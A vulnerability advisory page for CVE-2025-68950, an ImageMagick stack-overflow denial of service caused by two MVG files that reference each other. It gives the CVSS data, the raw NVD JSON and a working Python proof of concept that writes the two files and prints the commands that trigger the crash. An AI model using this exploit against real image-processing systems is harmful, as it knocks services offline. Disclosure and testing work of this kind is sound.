Security Vulnerability Report
中文
CVE-2025-68950 CVSS 4.0 MEDIUM

CVE-2025-68950

Published: 2025-12-30 17:15:44
Last Modified: 2026-01-06 18:13:54

Description

ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-12, Magick fails to check for circular references between two MVGs, leading to a stack overflow. This is a DoS vulnerability, and any situation that allows reading the mvg file will be affected. Version 7.1.2-12 fixes the issue.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:* - VULNERABLE
ImageMagick < 7.1.2-12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-68950 PoC - ImageMagick MVG Circular Reference Stack Overflow # This PoC creates two MVG files that reference each other, causing infinite recursion def create_circular_mvg_files(): """ Create two MVG files with circular references to trigger stack overflow """ # First MVG file - references the second one mvg_content_1 = '''push graphic-context viewbox 0 0 800 600 push graphic-image filename "mvg2.mvg" pop graphic-image pop graphic-context ''' # Second MVG file - references back to the first one (circular reference) mvg_content_2 = '''push graphic-context viewbox 0 0 800 600 push graphic-image filename "mvg1.mvg" pop graphic-image pop graphic-context ''' # Write the files with open('mvg1.mvg', 'w') as f: f.write(mvg_content_1) with open('mvg2.mvg', 'w') as f: f.write(mvg_content_2) print('[+] Created circular MVG files: mvg1.mvg, mvg2.mvg') print('[+] To trigger the vulnerability, process mvg1.mvg with ImageMagick:') print(' convert mvg1.mvg output.png') print(' magick mvg1.mvg output.png') if __name__ == '__main__': create_circular_mvg_files()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68950", "sourceIdentifier": "[email protected]", "published": "2025-12-30T17:15:43.770", "lastModified": "2026-01-06T18:13:53.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-12, Magick fails to check for circular references between two MVGs, leading to a stack overflow. This is a DoS vulnerability, and any situation that allows reading the mvg file will be affected. Version 7.1.2-12 fixes the issue."}, {"lang": "es", "value": "ImageMagick es un software libre y de código abierto utilizado para editar y manipular imágenes digitales. Antes de la versión 7.1.2-12, Magick no verifica las referencias circulares entre dos MVG, lo que lleva a un desbordamiento de pila. Esto es una vulnerabilidad de DoS, y cualquier situación que permita la lectura del archivo mvg se verá afectada. La versión 7.1.2-12 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.2-12", "matchCriteriaId": "316134FB-09AF-4983-8BCC-E391E2C259E2"}]}]}], "references": [{"url": "https://github.com/ImageMagick/ImageMagick/commit/204718c2211903949dcfc0df8e65ed066b008dec", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7rvh-xqp3-pr8j", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}